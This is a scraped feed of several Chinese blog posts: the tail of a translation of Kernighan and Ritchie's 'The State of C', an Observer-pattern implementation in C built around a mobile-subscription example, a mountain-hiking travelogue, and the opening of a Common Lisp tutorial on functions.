Johnson实现了一套\u0026quot;可移植编译器\u0026rdquo;，这套编译器修改起来相对容易，并且可以为不同的机器生成代码。从那时起，C就已经在大多数计算机上被实现，从最小的微型计算机到与CRAY-2(译注：一种庞大的超级计算机)规模大小相近的大型机器。C语言很规范，即使没有一份正式的标准，你也可以写出C程序，这些程序无须修改就可以运行在任何支持C语言和最小运行时环境的机器上。\nC最初在小型机器上实现，并且继承了一系列小语种编程语言的特点；与功能相比，C的设计者更倾向于简单和优雅。此外，从一开始，C语言就是为系统级编程而设计，程序的运行效率至关重要。因此，C语言与真实机器能力的良好匹配也就不足为奇了。例如，C语言为典型硬件所直接支持的对象：字符，整数（也许有多种大小），以及浮点数字（同样可能有多种大小）提供了相应的基本数据类型。\n你可以创建一些更为复杂的对象，诸如数组，结构体等，但是C语言几乎没有提供将这些对象作为一个整体进行操作的操作符；你必须自己编写函数来实现诸如字符串比较，将一个数组赋值给另一个数组等功能。\n还有一些不同寻常的是，C语言本身并没有提供输入输出操作。当然，这并不是说C程序无法进行I/O操作，只不过C语言中的IO操作是通过用户定义函数或库中的函数来完成的，而不是通过语言内置的语句。这与作为语言一部分的FORTRAN的READ和WRITE，BASIC的INPUT和PRINT恰恰相反。\nC语言本身未提供的功能还包括：它没有存储管理，比如像Pascal语言的new函数那样；它没有提供并行处理的基础设施，比如像Ada的rendezvous机制那样。你可以很容易地用C实现这些功能，不过它们已经通过函数库提供了，并且同样并非语言本身的一部分。在符号记法方面，函数调用要比直接使用操作符显得更加笨拙，例如，BASIC中的字符串比较语句如下：\nIF A$ = B$ THEN\n使用C语言，你可能会像这样实现这一功能：\nif (equal(a, b))…\n与内嵌代码相比，函数调用还会带来更多的额外性能开销。\n不管怎样，C中省略的特性的程度也是它的显著特点之一。\n语言元素\n控制流：C语言中的控制流相当传统，但比FORTRAN或BASIC语言提供的更为丰富。C提供了两种决策语句：if … else和switch。在下面语句中\nif (expr) statl else stat2\nexpr被求值；如果求值结果为真(非零），语句stat1会被执行；否则，语句stat2会被执行。整个语句中的else部分是可选的。在下面语句中\nswitch (expr) {\ncase const1: stat1\ncase const2: stat2\n…\ndefault: stat\n}\nexpr被求值，求值结果再与各个case中的常量相比较。如果找到一个匹配的case，那么对应的stat就会被执行。如果没有找到可以匹配的case，default部分对应的stat将会被执行。default部分是可选的。C语言中的switch语句有些类似Pascal中的case语句，只是后者没有default部分。\nC同样也提供了三种循环：while，for和do。在下面语句中\nwhile (expr) stat\nexpr被求值；如果求值结果为真，stat将会被执行，并且expr会被再次求值。当expr求值结果为假时，这个循环结束。语句：\nfor (stat1; expr; stat3) stat2\n等价于下面的while循环：\nstat1\nwhile (expr) {\nstat2\nstat3\n}\n除了结束条件测试的含义不同之外，do语句与Pascal中的repeat…until语句很相似，在下面的语句中：\ndo stat while(expr)\nstat被执行，并且expr被求值和测试。如果求值结果为真，这个循环将重复执行。\nbreak语句执行的结果是从一个封闭的循环或switch语句立即跳出；而continue语句执行结果则是使得一个循环的下一次迭代立即开始。C还提供了goto语句，但这个语句很少使用。\n在上述所有例子中，stat可以是一个单一的语句，比如x = 3或是包含在括号内的一组语句，这里提到的括号类似于其他语言中的begin…end。语句以分号结束。\n数据类型：C语言提供的基本类型包括char(一个字节)；int，short和long(不同长度的整型)；以及float和double（两种不同长度的浮点数）。字符和不同的整型数可以是有符号的或者无符号的。\n使用数组，结构体，联合体以及指针，你可以将这些对象组合成一个\u0026quot;派生\u0026quot;数据类型的无限集合(原则上)，我们常见的数组：\nchar mesg[100];\n定义了一个100个字节的数组mesg，通过mesg[0]到mesg[99]我们可以访问到数组中的每个元素。C没有提供字符串数据类型；而是用结尾字节为0的字符数组代替字符串。这就是编译器生成诸如字符串常量\u0026quot;hello world\\n\u0026quot;的方法。在一个字符串中，某些\u0026quot;转义序列\u0026quot;，诸如\\n，用于表示特定的字符，比如换行符。\u0026ldquo;hello world\\n\u0026quot;这个字符串包含了12个字符以及一个结尾0字节。\n结构体是一些不必具有相同数据类型的相关变量的集合(类似Pascal中的record)。例如，\nstruct object {\nint x, y; /* position */\nfloat v; /* velocity */\nchar id[10]; /* identification */\n};\nstruct object obj;\n声明了一个名为object的结构体并且定义了一个该结构体类型的变量obj。引用结构体内的个体成员可以通过类似obj.v这样的语句进行。注意，object结构体包含了一个数组类型成员id，我们可以通过obj.id[0]到obj.id[9]来访问该数组成员中的各个元素。你也可以定义结构体数组。\nC语言提供了指针，或叫作机器地址作为这门语言本身不可或缺的一部分。指针的形式没有Pascal和Ada中约束地那么严格。下面的语句\nchar *pc;\nstruct object *pobj;\n声明了一个指向字符的指针pc，以及一个指向object结构体的指针pobj。通过声明语句中使用的形式*pc或*pobj，我们可以访问到指针指向的数据的值；这个\u0026quot;解引用\u0026quot;操作符*等价于Pascal中的脱字符号(^)。结构体中的单独成员可以通过，例如pobj-\u0026gt;v的形式访问。\n如果p是一个指向T类型对象的指针，并且当前指向一个T类型数组中的一个元素，那么p+1则是指向该数组下一个元素的指针。同样，如果p和q是指向同一数组中元素的两个指针，并且p小于q，那么q-p则为p到q之间元素的个数。总之，指针的算术操作会按照指针所指向的对象的大小进行缩放；对象的实际大小通常在你编写程序时是不相关的。当与对象的实际大小相关时，C提供了sizeof操作符用于计算对象的大小，这样程序本身就无须为特定机器显式指定对象的大小了。C所整合的完整的指针和地址计算是这门语言的一个优势。\n操作符与表达式：与多数传统编程语言相比，C语言拥有一套丰富的操作符。除了普通算术操作符+，-，*，/和%(取余)之外，其他几组操作符也值得给予特殊的关注。\n首先，C提供了用于操作一个字内部的比特位的操作符(见表1)。\n\u0026amp; bitwise AND(按位与)\n| bitwise OR(按位或)\n^ bitwise exclusive-OR(按位异或)\n~ one\u0026rsquo;s complement(按位反)\n\u0026laquo; left shift(左移)\n\u0026gt;\u0026gt; right shift(右移)\n表1: 操作字内部比特位的C操作符; 对于许多系统级编程的程序来说，这些操作符十分必要。\n例如，列表1中的函数计算其参数中值为1的比特位的个数，它通过重复测试参数最右侧比特位的值，并每次把参数右移一位，直到参数值为0为止。声明中的unsigned意为函数将n视为逻辑数量，而不是一个算术变量。\nbitcount(n) /* count 1 bits in n */\nunsigned int n;\n{\nint b;\nfor (b = 0; n != 0; n \u0026raquo;= 1)\nif (n \u0026amp; 1)\n++b;\nreturn b;\n}\n列表1：bitcount函数计算其参数中值为1的比特位的个数，它通过重复测试参数最右侧比特位的值，并每次把参数右移一位，直到参数值为0为止。\n函数bitcount阐释了第二组操作符。任何类似\u0026raquo;这样的接受两个操作数的操作符都有一个对应的\u0026quot;赋值操作符\u0026rdquo;，比如\u0026raquo;=，因此下面的语句\nv = v \u0026raquo; expr\n可以被简化为：\nv \u0026raquo;= expr\n这个符号更易读，特别是当v是一个复杂的表达式而不是一个单字母的变量时。\n第三组操作符用于处理逻辑条件。操作符\u0026amp;\u0026amp;和||自左向右求值，表达式的值一经得到，求值过程立即停止。在类似下面的结构中\nif (i 0)…\n如果i大于或等于N(假定N是数组x的大小)，那么包含x[i]的值测试将不会执行。逻辑操作符的这种行为被称为”短路求值“。\n函数：一个C程序的整体结构是一组变量和函数的声明和定义。如果程序规模较大，这些定义常常被放到独立的文件中；你可以单独编译它们，并且使用链接器将它们链接在一起。\n在一个函数内部，变量通常是\u0026quot;自动的\u0026quot;- 也就是说，它们在程序执行进入函数时出现，在离开函数后消失，就像在bitcount函数中那样。不过，如果你将一个变量声明为static，那么这个变量的值将从一次函数调用保留到下一次函数调用。在任何函数外面声明的变量是全局的，在程序的任何位置都可以访问到它们。\n函数是支持递归调用的；标准(并且有些老套)的例子是阶乘函数(见列表2)。\nfact (n) /* returns n! (n \u0026gt;= 0) */\nint n;\n{\nif (n \u0026lt;= 0)\nreturn 1;\nelse\nreturn n * fact(n-1);\n}\n列表2: 递归函数的经典例子 – 用C实现的阶乘函数。\nC语言使用传值的方式将参数传递给函数，即函数收到的是一份参数的拷贝，而不是原来的数据对象。（注意，函数bitcount修改了它的参数变量，不过这是安全的，因为它实际上是一个参数的拷贝。）通过传递指向数据对象的指针，你也可以获得与传引用一样的效果。函数的参数和返回值可以是任何基本数据类型 – 指针，结构体，或者联合体。如果要传递数组给函数，你需要传递一个指向这个数组第一个元素的指针。\nANSI标准\n很多年来，C语言的定义就是《C程序设计语言》第一版中的参考手册。1983年，ANSI(美国国家标准协会)成立了一个委员会以提供一版最新的，全面的C语言定义。其结果是，C语言的ANSI标准，或叫作ANSI C，预计将在1988年年底得到批准。最新的编译器已经提供了对这一标准中绝大部分特性的支持。\n自从1978年以来，这门语言变化甚少；这版标准的目标之一就是确保目前大多数现存的程序依旧是有效的，或者失败，但编译器可以产生有关新行为的警告。\n基本上，有关C语言的最重要的改变就是一种声明和定义函数的新语法。现在一个函数的声明可以包含有关函数参数的描述了；定义语法也为了匹配参数而作出了改变。额外的信息让编译器更加容易地检测到因为参数不匹配而导致的错误；根据我们的经验，这是一个非常有用的补充。\n为了说明这一点，考虑下面这个典型的C代码片断：\nint n;\ndouble x, sqrt();\nx = sqrt(n);\n函数sqrt期望一个double类型的参数，但是n却是一个整型。这个错误无法被检测出来，并且这个执行的结果也肯定没有任何意义。而采用ANSI C的新函数原型语法，你可以用如下方式重新编写这段代码：\nint n;\ndouble x, sqrt(double);\nx = sqrt(n);\n这里编译器已经被告知函数sqrt期望的参数类型，所以编译器生成代码将整型数n转换为浮点数。如果你不小心编写了一个无法被转换为double类型的表达式，比如 x = sqrt(\u0026amp;n)，编译器将捕捉到这个错误。\n函数定义的语法为了匹配参数而作出了改变；形式参数列在函数名字后面的括号内。因此，函数bitcount的定义就变成了：\nbitcount(unsigned int n)\n{\n…\n}\n还有一些其他小规模的语言变化。结构体赋值，枚举，以及void数据类型，所有那些被广泛使用的特性，现在都正式成为了语言的一部分。你可以进行自动结构体和数组的初始化，你也可以作单精度浮点运算；这些在小机器上会获得更好的计算性能。\n标准更加详细地阐述了算术转换的属性。并且支持十六进制常量，转义序列以及八进制常量。用于做文本宏替换的C预编译器也变得愈加精致了；它为宏生成过程提供了更多的控制。这里的大多数改变只是对你的编程有轻微的影响。\n这个标准的第二个显著的贡献就是C标准库的定义。它详细说明了访问操作系统的函数（比如，读写文件），格式化输入输出（scanf和printf)，内存分配（malloc），字符串操作（比如，strcmp)，数学计算（比如sin和lag)，等等诸如此类的函数。\n一些被包含在用户编写的程序中的标准头文件为函数和数据类型声明提供了统一的访问。使用这个标准库与主机系统交互的程序可以确保其行为是兼容的。库中的大多数函数都是仔细地仿照了Unix系统的\u0026quot;标准I/O库\u0026quot;，并且在其他系统上也具备相似的程序。同样，你不会看到太大的变化。\n由于大多数计算机都直接支持C提供的数据类型以及控制结构，因此实现一个自包含程序所需要的运行时库是极其微小的。标准库函数只是被显式调用，所以如果你不需要，你可以避开它们。大多数标准库函数都是用C实现的，并且除了隐藏的操作系统细节外，库函数自身是可移植的。\nC的评价\nC是一门紧凑，高效且极富表现力的语言。事实上，C的确足够优秀，以至于它在很多系统上几乎完全取代了汇编语言编程。一个简洁，可读性强的高级语言的使用具有压倒性的优势；它仅仅使阅读程序变成可能，这在使用其他一些语言时是极其困难的。\nC是一门相对\u0026quot;低级\u0026quot;的语言。这种定性是没有贬义的；只是说C语言与大多计算机一样处理着相同类型的对象，即字符，数字，以及地址。这些类型的数据可以由真实计算机实现的算术和逻辑操作符结合和移动。\n由于C语言相对小巧，因此我们可以用较小的篇幅描述这门语言，并且快速的学习它。你可以合理地期待去认识，理解，并且适当地使用整门语言。\nC语言的另外一个优点是其可移植性。虽然C语言与很多计算机的能力相匹配，但其实现是与任何特定的机器体系结构无关的。稍微谨慎一些，你就可以很容易地编写出无须修改即可运行在多种机器上的可移植的程序。C标准显式地明确了可移植性问题，并且规定了一组常量，用于描述运行程序的机器的特性。\nC的另外一个优势在于其缺乏约束。编程语言的一个流行的趋势是\u0026quot;强类型\u0026quot;，其大致含义是由语言进行细致的检查，并保证程序只包含合法的数据类型组合。强类型有些时候可以尽早地捕捉到bug，不过它也意味着一些程序无法被编写出来，因为它们本质上违反了类型组合的规则。\n一个存储分配器就是一个很好的例子：你无法用Pascal编写出Pascal的new函数 – 返回指向一块存储的指针，因为在Pascal中没有办法定义一个返回任意类型的函数。不过使用C语言你就可以轻松且安全地实现这个函数，因为C语言允许你阐明对类型规则的特定违背是有意为之的。\nC不是一门强类型语言，不过随着它的演化，它的类型检查已经得到了加强。最初的C定义不赞成再使用，但仍然被允许。指针和整数的互换，这早已被淘汰，而现在的标准需要适当的声明以及显式的转换，这也是一些优秀编译器已经强制要求的了。new函数的声明则是在这一方向上迈出的另外一步。编译器会给出大多数类型错误的警告，并且不会对不兼容的数据类型进行自动转换。尽管如此，C保留了一条其基本的设计哲学，即程序员知道他们在做些什么；它只是需要你显式地阐述你的意图即可。\nC已经被证明是一种优秀语言，甚至其他语言也可以编译为C语言。一个最好的例子就是Yacc编译器，它可以将一门语言的语法规范转换为一个用于解释这门语言语句的C程序。自然而然，C语言本身也可以用这种方法实现。\nC语言出现什么问题了？在低级别上，存在一些关于操作符优先级的低劣的选择。一些用户感觉switch语句应该做出一些变化，不要让控制流像现在那样从一个case走到下一个case。简洁的语法有时会让新手畏缩；复杂的声明时常难于阅读。《C程序设计语言》第二版中的一个新例子就是这样的一对程序：它们在C声明与自然语言单词之间进行相互转换。\n如果你依赖未定义属性或实现定义的属性时，可移植性问题有时就会发生。例如，函数参数的求值次序是未指定的，因此你编写出来的依赖求值次序的代码在不同机器上很可能得到不同的执行结果。这不是一个严重的问题，因为很容易检测到依赖关系。但人们有时仍然忽视它，导致产生不幸的影响。\n接下来是什么？\n在过去的十年中，C语言不断演化，虽然变化的速率很缓慢。ANSI标准正式地接受了这些改变，并且也加入了一些其自身的特性。由编译器进行的错误检查的数量一直在稳步上升：虽然语言中对你的所作所为的约束依旧不多，但现在当你做出一些奇怪的事情前，你需要更多显式地确认你的操作。\n在接下来的若干年，C语言可能走向何方？最有可能的演化就是继续目前这种缓慢但稳定的改进，谨慎地添加一些新的特性。谨慎是必要的，因为与目前已经存在的庞大数量的C代码保持兼容是极其重要的。我们不能无缘无故地做出改变。\n实事求是地说，C语言本身不可能进行较大程度的改变了；反而一些新语言将源自于C语言。C++就是一个例子，它提供了数据抽象以及面向对象编程的设施，而且几乎完整地保留了与C的兼容性（参见\u0026quot;更好的C？\u0026quot;)。与此同时，随着你使用C语言经验的增加，C本身依然经久耐用。伴随着15年的C语言使用经验，我们仍然有这样的感觉。\n","permalink":"https://tonybai.com/2011/10/17/the-state-of-c/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"http://drdobbs.com/\"\u003eDr. Dobb\u0026rsquo;s Journal\u003c/a\u003e官网上的一篇由Brian W. Kernighan和Dennis M. Ritchie共同撰写的名为\u0026quot;\u003ca href=\"http://drdobbs.com/cpp/223000089?pgno=1\"\u003eThe State of C\u003c/a\u003e\u0026ldquo;的文章。这里谨将此篇译文献给不久前刚刚离我们而去的C语言之父 – \u003ca href=\"http://en.wikipedia.org/wiki/Dennis_Ritchie\"\u003eDennis M. Ritchie\u003c/a\u003e，愿一代计算机科学巨匠一路走好。\u003c/p\u003e","title":"C语言的现状"},{"content":"设计模式 (Design Pattern，以下简称DP)的定义有很多种。我个人的理解：DP是人们在软件开发过程中所总结出来的一些典型问题的经验解决方法模板。使用它们可以使我们的代码更易被复用，更易扩展，更好地适应变化以及更便于后期维护。\n人们都说设计模式是独立于语言的，但这里的\u0026quot;语言\u0026quot;更多的是指面向对象语言，比如Java、C++、C#、Python和Ruby等。使用面向对象语言(OO)在实现设计模式时更为自然而然。GoF的经典书籍《Design Patterns》 的副标题就是\u0026quot;Elements of Reusable Object-Oriented Software\u0026quot;，显然DP主要针对面向对象的软件开发，书中的内容也主要是用C++表述的。\n相比于OO语言，关于C语言 等面向过程的语言与设计模式结合使用的资料和例子都甚少，它们就像是走在两条互相平行的马路上的路人，老死不相往来。难道我们真地找不到C与设计模式的交集吗，非也！设计模式强调高内聚，低耦合 ，一切面向接口！这种思想其实也有助于C程序员写出更加模块化、更加灵活以及更为优美的代码来。只是用C语言实现后所展现出来的形式与支持继承、多态的OO语言相比可能不是那么自然。\n我相信在现实使用C语言的开发过程中，有些C程序员已经在不知不觉中使用了模式的思想，但DP对于多数C程序员还是略显生分的，虽然DP已经诞生10多年了，也许这与C语言诞生在设计模式之前不无关系^_^。\n如何在日常开发中融入模式的思想呢？GoF在《Design Patterns》一书的第一章就告诉了我们,大致是一切从问题出发：弄清楚你遇到的问题，浏览模式，找到适合解决你的问题的模式。\n言归正传。我们的系统常常有这样的业务情景：某种数据对象发生变化，与其相关的其他数据对象也需要一并做出改变。为了便于理解，这里举一个大家都比较易懂的例子：Tony是一个中国移动全球通(GoTone)用户，他订购了中国移动提供的139邮箱和手机报业务。中国移动有一个系统用于管理全球通用户信息、各种移动业务以及全球通用户的各种业务订购关系。Tony这个人记性不大好，每天丢三落四，同时也经常忘记及时缴纳手机话费，导致系统中Tony这个用户的状态经常在\u0026quot;正常\u0026quot;和\u0026quot;停机\u0026quot;间变来变去。为了防止Tony在停机的状态下依旧可以使用邮箱和手机报业务，移动公司提出了一个新需求：当用户处于\u0026quot;停机\u0026quot;状态时，用户应该无法使用139邮箱和手机报业务。如果你是负责开发这个需求的程序员，你如何在系统中满足这个需求呢？\n将客户提出的需求翻译为程序员的行话就是当Tony的用户信息由\u0026quot;正常\u0026quot;变为\u0026quot;停机\u0026quot;时，系统需要同时修改139邮箱订购关系数据和手机报订购关系数据，将两类数据记录中Tony的订购关系由\u0026quot;开通\u0026quot;变为\u0026quot;暂停\u0026quot;；当Tony的用户信息由\u0026quot;停机\u0026quot;变为\u0026quot;正常\u0026quot;时，系统则需要将两类数据记录中Tony的订购关系由\u0026quot;暂停\u0026quot;改为\u0026quot;开通\u0026quot;。总之，当全球通用户信息发生变化时，139邮箱订购关系与手机报订购关系数据就需要随着进行变更。\n从例子中已有的描述可以看出，现有的系统内部至少有三套数据集以及相应的数据操作接口，分别是全球通用户数据、139邮箱订购关系数据和手机报订购关系数据，这也是最基本的数据封装与抽象。现在我们就在此基础上来满足新的需求。\n很多人首先想到的是修改全球通用户数据操作接口，实现两类订购关系的随动变更。\nvoid update_gotone_customer_state(const char *number, int state) {\n/* 根据number查找出对应的用户信息，并更新其state */\n… …\n/* 新增如下操作 */\nupdate_mailbox_order(number, state);\nupdate_newspaper_order(number, state);\n}\n我们可以看出这种方法是在全球通用户数据操作接口中直接调用两种订购关系的数据操作接口来修改数据状态，这种方法显然是耦合最高的方法，它在本无耦合的数据对象之间建立了耦合。update_mailbox_order和update_newspaper_order的变化将直接导致update_gotone_customer_state接口的变化。我们也无法独立地对update_gotone_customer_state接口进行单元测试了，除非对新增的两个依赖接口进行mock — 显然这种mock是被动的，也是不合理的。\n为了去除这一方法引入的耦合，我们可以引入一个新函数来作为用户状态变更时的处理函数，如下：\nvoid gotone_customer_state_switch(const char *number, int state) {\nupdate_gotone_customer_state(number, state);\nupdate_mailbox_order(number, state);\nupdate_newspaper_order(number, state);\n}\n这种方法依次调用三个数据集各自的操作接口更新用户状态。显然这种方法去除了数据集操作接口之间的耦合，但也存在着另外一个更严重的问题，那就是这种方法难以适应移动业务日新月异的变化。\n假定此时用户Tony又订购了一个移动业务 -手机电视，那么如何让手机电视订购关系感知到用户状态的变化呢？你可能会这样来改。\nvoid gotone_customer_state_switch(const char *number, int state) {\nupdate_gotone_customer_state(number, state);\nupdate_mailbox_order(number, state);\nupdate_newspaper_order(number, state);\nupdate_mobiletv_order(number, state);\n}\n你知道这样的修改意味着什么吗？意味着程序要重新编译，重新发布以及重新部署上线。一个用户新订购了一个业务就带来如此大的变动，这是不能忍受的，不是吗！\n关于这类问题，DP给出了一个解决模式，即Observer模式，中文叫作观察者模式。观察者模式中有两个主要元素：主题(Subject)和观察者(Observer)，主题的变更引发诸多相应观察者的随动更新。在这个例子中，全球通用户数据显然是一个Subject，而139邮箱、手机报以及手机电视等业务订购数据则是Observer的角色。\n全球通用户数据是一个Subject，但是却是一个具体的Subject，如果让其与139邮箱等具体业务Observer直接关联，势必会像最初的解决方法那样在不同数据对象间引入耦合。DP始终在告诉我们要面向接口，要依赖抽象，所以我们需要建立抽象的Subject和Observer接口来。在C语言中没有interface关键字，也没有abstract class(抽象类)，C语言只有struct和函数指针。将struct和函数指针结合，我们就有了C语言接口的概念：\n/* isubject.h */\nstruct iobserver_t;\nstruct isubject_t {\nvoid (*attach)(struct isubject_t *subject, struct iobserver_t *observer);\nvoid (*detach)(struct isubject_t *subject, struct iobserver_t *observer);\nvoid (*notify)(struct isubject_t *subject, void *arg);\n};\n/* iobserver.h */\nstruct iobserver_t {\nvoid (*update)(void *arg);\n};\nisubject_t声明了三个函数指针字段，attach用于增加监视这个Subject的Observer的；detach用于卸载监视这个Subject的某个Obsever；而notify则是在Subject发生变化时用于通知各个Observer进行更新的。iobserver_t相对比较简单，只有一个update函数指针字段，该字段指向的函数在Subject发生变化时被调用，完成Observer自身的更新。\nisubject_t只是一个抽象的接口，我们还需要isubject_t的一个具体实现，包括attach, detach以及notify等函数的具体实现算法。下面是isubject_t的一个具体实现isubject_imp_t的相关数据类型与操作接口：\n/* isubject_imp.h */\nstruct isubject_t* isubject_imp_new();\nvoid isubject_imp_free(struct isubject_t **subject);\n/* isubject_imp.c */\ntypedef struct _iobserver_t _iobserver_t;\n/* 这里用apache apr库中的apr_ring作为存储observers的数据结构 */\ntypedef APR_RING_HEAD(_iobserver_head_t, _iobserver_t) _iobserver_head_t;\nstruct isubject_imp_t {\nstruct isubject_t subject; /* 这里务必将subject放在第一个字段的位置 */\n_iobserver_head_t observers;\n};\nstruct isubject_t* isubject_imp_new() {\nstruct isubject_imp_t *p = NULL;\np = (struct isubject_imp_t*)malloc(sizeof(*p));\nif (!p) return NULL;\nmemset(p, 0, sizeof(*p));\nAPR_RING_INIT(\u0026amp;(p-\u0026gt;observers), _iobserver_t, link);\np-\u0026gt;subject.attach = isubject_imp_attach;\np-\u0026gt;subject.detach = isubject_imp_detach;\np-\u0026gt;subject.notify = isubject_imp_notify;\nreturn (struct isubject_t*)p;\n}\nstatic void isubject_imp_attach(struct isubject_t *subject, struct iobserver_t *observer) {\nstruct isubject_imp_t *p = (struct isubject_imp_t *)subject;\n//将observer插入ring，这里代码省略\n}\nstatic void isubject_imp_detach(struct isubject_t *subject, struct iobserver_t *observer) {\nstruct isubject_imp_t *p = (struct isubject_imp_t *)subject;\n//将observer从ring中移出，这里代码省略\n}\nstatic void isubject_imp_notify(struct isubject_t *subject, void *arg) {\nstruct isubject_imp_t *imp = (struct isubject_imp_t *)subject;\n//遍历ring，调用每个observer的update接口，并传入参数arg，这里代码省略\n}\n注意以上操作都是面向isubject_t这个接口类型的，而不是isubject_imp_t这个具体类型的，isubject_imp_t对于外部是不可见的。下面我们尝试用Observer模式解决一下上面例子中的问题。\n首先建立tony这个用户的subject，并初始化其当前的业务Observer：\nstruct isubject_t *tony_subj = isubject_imp_new();\nstruct iobserver_t mailbox_observer = {\n.update = update_mailbox_order\n};\nstruct iobserver_t newspaper_observer = {\n.update = update_newspaper_order\n};\ntony_subj-\u0026gt;attach(tony_subj, \u0026amp;mailbox_observer);\ntony_subj-\u0026gt;attach(tony_subj, \u0026amp;newspaper_observer);\n恰巧Tony上个月又忘记缴纳话费了，月初Tony的手机被停机了。中国移动的系统进行了Tony这个账户的状态变更操作：\ntony_subj-\u0026gt;notify(tony_subj, tony_account_info); /* tony_account_info表示Tony的基本账户信息 */\n这行代码的执行结果是update_mailbox_order和upudate_newspaper_order被调用，139信箱以及手机报订购关系中有关Tony的订购信息状态变为\u0026quot;暂停\u0026quot;。也许上面的代码还没有让你看到Observer模式的好处，Ok，让我们进行一些变化！\n移动为了推广3G业务，允许用户免费试用3个月的手机电视业务。有便宜不能不占，Tony遂订购了手机电视业务。前面的两种方法对于此种情况都无能为例，但采用了Observer模式之后，对于手机电视的订购，系统只需要在相应的处理函数中执行：\nstruct iobserver_t mobiletv_observer = {\n.update = update_mobiletv_order\n};\ntony_subj-\u0026gt;attach(tony_subj, \u0026amp;mobiletv_observer);\n这样一来我们无需修改Tony被停机时的处理代码，手机电视订购关系也可以感知到Tony的账户变更。\n同样，Tony使用了移动的手机上网套餐，打开手机浏览器，天下信息便可一览无余。于是Tony决定退订有些鸡肋的手机报业务，对于这一退订事件，系统只需要在相应的处理函数中执行：\ntony_subj-\u0026gt;detach(tony_subj, \u0026amp;newspaper_observer);\n可以看到Tony停机的处理无需因手机报退订而做出改变，同时Tony停机也不会导致手机报订购关系数据的变更，这正是我们期望的。\n以上是Observer模式的一种C语言实现，同时也解决了我们遇到的实际问题。关于Observer模式的详细描述还是参见GoF的《Design Patterns》一书吧。用过程式语言实现DP的确不那么自然，但这就是C语言的方式。\n","permalink":"https://tonybai.com/2011/10/14/implement-observer-pattern-in-c/","summary":"\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Design_pattern_(computer_science)\"\u003e设计模式\u003c/a\u003e (Design Pattern，以下简称DP)的定义有很多种。我个人的理解：DP是人们在软件开发过程中所总结出来的一些典型问题的经验解决方法模板。使用它们可以使我们的代码更易被复用，更易扩展，更好地适应变化以及更便于后期维护。\u003c/p\u003e","title":"Observer模式的C实现"},{"content":"不知为何，一到秋天我就有了爬山的冲动。于是乎我和同事一行六人在一个秋高气爽的周末来到了位于丹东宽甸的天华山。\n辽宁境内的山我爬过的不多，之前只是去过千山和关门山。选择天华山也是再三考虑了同事们久疏于运动之后做出的决定，其实我个人更加向往征服另一座更为难爬的山峰 – 位于凤城的凤凰山，看来我的这个目标只能等来年再实现了^_^。\n景区的自费倒站车将我们送到了此次登山的起点-通天峡广场。一上来我们就要征服据说长达300多米的通天峡。所谓通天峡其实就是一道山体的裂缝，景区在裂缝内搭建了人类可以爬行的云梯，这么长的\u0026quot;山体裂缝\u0026quot;我还是第一次遇见，爬起来很是刺激。\n通天峡\n天华山让我感觉最好的地方就是可以手脚并用，而不仅仅是一直攀登石头台阶，这才叫真正的爬山。由于双手的介入，爬山过程中腿部感觉并不是很累，这点与爬千山、关门山有很大不同。\n这个季节天华山上已有些许枫叶变得红彤彤，一路之上我们也以发现红枫叶为最大的兴奋点，我们也的确收获了不少红叶美景。\n山中红叶\n忘记说了，爬天华山无论如何都不能缺少一种装备，那就是防滑手套。前面说过爬天华山最大的特点就是要\u0026quot;手脚并用\u0026quot;，由于爬山过程较长，如果空手攀爬必然会对稚嫩的手带来一定的伤害，看看下面的照片你就能理解手套的功用了。\n登山天梯\n我一直走在最前面，一是为大家探探路，二是把握好爬山的节奏，激励大家爬山的斗志，最后就是在等待大家上来的那段时间独自远眺山景，充分体会大自然的壮丽。\n山景远眺\n天华山有多条游览路线，我们此行选择的目的地是天华山天台。天台应该不是整个景区的最高点，但却是名气最大的一处。天台，物如其名，就是山顶一处由山石构成的石台子，台子有一定倾角，但面积不小，可容纳几十号人。登上高台的瞬间感觉确实很棒，但在半山腰远观天台却更能凸显天台的无限魅力。\n天华山天台\n都说\u0026quot;上山容易，下山难\u0026quot;，不过这次我们却没有这种感觉，下山的过程很顺利。呼吸着大山中纯净富氧的空气，我们一路说笑，每个人的脸上呈现出来的不是疲惫，而是无比地放松。\n回到通天峡入口，离集合时间尚早，我们没有选择坐倒站车，而是继续步行下山。我们沿着从\u0026quot;爱之源\u0026quot;流下的山溪而下，一路欣赏着天华山美丽的水景。现在似乎是枯水期，想必在富水期，这里的景色会更美。\n就这样，我完成了对天华山的征服^_^。\n附具体行程(散客拼团)：\n- 早上4点多起床，5点集合。\n- 5点30奔赴天华山\n- 9点左右到达天华山景区\n- 9点半上山\n- 14:00下山\n- 14:30返城\n- 19:30回到温馨的家\n","permalink":"https://tonybai.com/2011/09/26/the-tour-of-tianhua-moutain-in-autumn/","summary":"\u003cp\u003e不知为何，一到秋天我就有了爬山的冲动。于是乎我和同事一行六人在一个秋高气爽的周末来到了位于丹东宽甸的\u003ca href=\"http://www.tianhuashan.cn/\"\u003e天华山\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e辽宁境内的山我爬过的不多，之前只是去过千山和\u003ca href=\"http://tonybai.com/2008/10/20/a-tour-of-guanmen-mountain-in-autumn/\"\u003e关门山\u003c/a\u003e。选择天华山也是再三考虑了同事们久疏于运动之后做出的决定，其实我个人更加向往征服另一座更为难爬的山峰 – 位于凤城的\u003ca href=\"http://www.cnfhs.com/\"\u003e凤凰山\u003c/a\u003e，看来我的这个目标只能等来年再实现了^_^。\u003c/p\u003e","title":"秋游天华山"},{"content":"Common Lisp是函数式编程语言，其基本组成单元自然是函数。对Common Lisp函数的理解也是学习Common Lisp语言的关键。另外与C语言以内存单元修改为主要编程方法不同，Common Lisp的主要编程方法是将函数应用于参数。这里我们分别用两种范式风格实现同一个函数，该函数用于取得第n个fibonacci数（n从0开始）：\n;; 命令式风格\n(defun imperative-fibonacci (n)\n(let ((first 0)\n(second 1)\n(sum 0))\n(dotimes (i n)\n(progn\n(setf sum (+ first second))\n(setf first second)\n(setf second sum)))\nfirst))\n;; 函数式风格\n(defun functional-fibonacci (n)\n(cond ((= 0 n) 0)\n((= 1 n) 1)\n(t (+ (functional-fibonacci (- n 1)) (functional-fibonacci (- n 2))))))\n对比一下我们可以看出函数式风格代码更加简洁，可读性更强，更易于理解。虽然使用Common Lisp也可以写出命令式风格的代码，不过我们强烈建议你使用函数式风格，这才是Common Lisp的首选范式 – 即用自然而然的函数嵌套调用或递归调用，而不是堆砌一些修改变量值的语句。C语言中也有函数，但与Common Lisp语言中函数的区别就在于其内部实现均为对变量的修改操作，就像上面例子中imperative-fibonacci函数定义的那样。\n一、定义新函数\nCommon 